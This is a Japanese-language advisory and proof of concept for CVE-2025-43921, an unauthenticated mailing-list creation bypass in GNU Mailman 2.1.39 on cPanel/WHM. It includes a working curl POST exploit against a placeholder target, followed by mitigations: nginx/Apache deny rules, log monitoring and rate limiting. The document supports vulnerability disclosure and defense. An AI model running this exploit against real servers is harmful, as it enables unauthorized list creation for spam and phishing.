
CVE-2025-43921の概念実証エクスプロイトと技術的分析。GNU Mailman 2.1.39における認証バイパスにより、/mailman/createエンドポイントを介して認証されていないメーリングリスト作成が可能になります。
発見者: Firudin Davudzada & Musazada Aydan
開示日: 2025年4月
CVE ID: CVE-2025-43921
深刻度: 5.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
攻撃タイプ: リモート
影響を受けるソフトウェア: GNU Mailman 2.1.39 (cPanel/WHM にバンドル)
GNU Mailman 2.1.39(cPanel および WHM にバンドルされているもの)は、/mailman/create エンドポイントを介して認証されていない攻撃者がメーリングリストを作成できる認証バイパスの欠陥に対して脆弱です。この問題は create CGI スクリプトのアクセス制御の欠如に起因し、攻撃者がスパム、フィッシング、またはリソース枯渇のためにメーリングシステムを悪用することを可能にします。
この脆弱性は、Postorius における不適切なリスト管理権限など、Mailman の過去のアクセス制御問題と一致しています。CVE-2025-43920 と連鎖させることで影響を拡大し、より広範な攻撃のプラットフォームを生み出す可能性があります。
create CGI スクリプト (リスト作成リクエストを処理)Mailman/Handlers/ (リスト管理ロジック)/mailman/create への POST リクエストに対する認証チェックの欠如により、任意のリスト作成が可能。以下のコマンドは、hacked という名前のメーリングリストを作成します:
curl http://target/mailman/create -d "listname=hacked&[email protected]&password=1234&confirm=1234"
想定される結果: 攻撃者が指定したオーナーメールアドレスによって制御可能な新しいメーリングリストが作成されます。
/mailman/create への認証されていない HTTP POST リクエストに細工したパラメータを送信し、メーリングリストを作成する。エンドポイントへのアクセスをブロック: Web サーバーを設定して /mailman/create へのアクセスを制限する:
location /mailman/create {
deny all;
return 403;
}
または Apache の場合:
<Location "/mailman/create">
Deny from all
</Location>
ログの監視: 不正なリスト作成試行を確認する:
tail -f /var/log/mailman/* | grep "newlist"
/mailman/create にレート制限を適用して悪用を防止する。Firudin Davudzada 氏および Musazada Aydan 氏は、許可されたペネトレーションテストの中でこの脆弱性を責任を持って開示しました。MITRE CVE チームの調整に感謝します。
メール: [email protected]\